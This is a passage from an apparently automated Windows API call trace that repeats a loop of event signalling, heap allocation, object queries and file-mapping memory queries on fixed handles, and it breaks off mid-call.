[0072.342] ResetEvent (hEvent=0x110) returned 1 [0072.342] SetEvent (hEvent=0x114) returned 1 [0072.342] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.342] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.342] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.342] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.342] ResetEvent (hEvent=0x110) returned 1 [0072.342] SetEvent (hEvent=0x114) returned 1 [0072.342] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.342] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.342] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.342] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.342] ResetEvent (hEvent=0x110) returned 1 [0072.342] SetEvent (hEvent=0x114) returned 1 [0072.343] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.343] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.343] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.343] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.343] ResetEvent (hEvent=0x110) returned 1 [0072.343] SetEvent (hEvent=0x114) returned 1 [0072.343] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.343] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.343] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.343] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.343] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.343] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.343] ResetEvent (hEvent=0x110) returned 1 [0072.343] SetEvent (hEvent=0x114) returned 1 [0072.343] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.344] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.344] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.344] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.344] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.344] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.344] ResetEvent (hEvent=0x110) returned 1 [0072.344] SetEvent (hEvent=0x114) returned 1 [0072.344] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.344] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.344] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.344] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.344] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.344] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.344] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.344] ResetEvent (hEvent=0x110) returned 1 [0072.344] SetEvent (hEvent=0x114) returned 1 [0072.344] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.345] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.345] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.345] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.345] ResetEvent (hEvent=0x110) returned 1 [0072.345] SetEvent (hEvent=0x114) returned 1 [0072.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.345] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.345] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.345] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.345] ResetEvent (hEvent=0x110) returned 1 [0072.345] SetEvent (hEvent=0x114) returned 1 [0072.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.345] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.345] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.345] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.345] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.345] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.346] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.346] ResetEvent (hEvent=0x110) returned 1 [0072.346] SetEvent (hEvent=0x114) returned 1 [0072.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.346] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.346] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.346] ResetEvent (hEvent=0x110) returned 1 [0072.346] SetEvent (hEvent=0x114) returned 1 [0072.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.346] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.346] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.346] ResetEvent (hEvent=0x110) returned 1 [0072.346] SetEvent (hEvent=0x114) returned 1 [0072.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.347] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.347] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.347] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.347] ResetEvent (hEvent=0x110) returned 1 [0072.347] SetEvent (hEvent=0x114) returned 1 [0072.347] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.347] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.347] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.347] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.347] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.347] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.347] ResetEvent (hEvent=0x110) returned 1 [0072.347] SetEvent (hEvent=0x114) returned 1 [0072.347] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.347] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.347] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.347] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.348] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.348] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.348] ResetEvent (hEvent=0x110) returned 1 [0072.348] SetEvent (hEvent=0x114) returned 1 [0072.348] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.348] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.348] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.348] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.348] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.348] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.348] ResetEvent (hEvent=0x110) returned 1 [0072.348] SetEvent (hEvent=0x114) returned 1 [0072.348] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.348] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.348] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.348] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.349] ResetEvent (hEvent=0x110) returned 1 [0072.349] SetEvent (hEvent=0x114) returned 1 [0072.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.349] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.349] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.349] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.349] ResetEvent (hEvent=0x110) returned 1 [0072.349] SetEvent (hEvent=0x114) returned 1 [0072.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.349] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.349] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.349] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.349] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.349] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.349] ResetEvent (hEvent=0x110) returned 1 [0072.349] SetEvent (hEvent=0x114) returned 1 [0072.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.350] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.350] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.350] ResetEvent (hEvent=0x110) returned 1 [0072.350] SetEvent (hEvent=0x114) returned 1 [0072.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.350] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.350] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.350] ResetEvent (hEvent=0x110) returned 1 [0072.350] SetEvent (hEvent=0x114) returned 1 [0072.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.350] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.351] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.351] ResetEvent (hEvent=0x110) returned 1 [0072.351] SetEvent (hEvent=0x114) returned 1 [0072.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.351] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.351] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.351] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.351] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.351] ResetEvent (hEvent=0x110) returned 1 [0072.351] SetEvent (hEvent=0x114) returned 1 [0072.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.351] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.351] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.351] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.352] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.352] ResetEvent (hEvent=0x110) returned 1 [0072.352] SetEvent (hEvent=0x114) returned 1 [0072.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.352] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.352] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.352] ResetEvent (hEvent=0x110) returned 1 [0072.352] SetEvent (hEvent=0x114) returned 1 [0072.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.352] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.352] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.352] ResetEvent (hEvent=0x110) returned 1 [0072.352] SetEvent (hEvent=0x114) returned 1 [0072.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.353] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.353] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.353] ResetEvent (hEvent=0x110) returned 1 [0072.353] SetEvent (hEvent=0x114) returned 1 [0072.353] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.353] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.353] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.353] ResetEvent (hEvent=0x110) returned 1 [0072.353] SetEvent (hEvent=0x114) returned 1 [0072.353] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.353] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.353] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.353] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.354] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.354] ResetEvent (hEvent=0x110) returned 1 [0072.354] SetEvent (hEvent=0x114) returned 1 [0072.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.354] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.354] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.354] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.354] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.354] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.354] ResetEvent (hEvent=0x110) returned 1 [0072.354] SetEvent (hEvent=0x114) returned 1 [0072.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.354] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.354] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.354] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.354] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.355] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.355] ResetEvent (hEvent=0x110) returned 1 [0072.355] SetEvent (hEvent=0x114) returned 1 [0072.355] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.355] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.355] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.355] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.355] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, 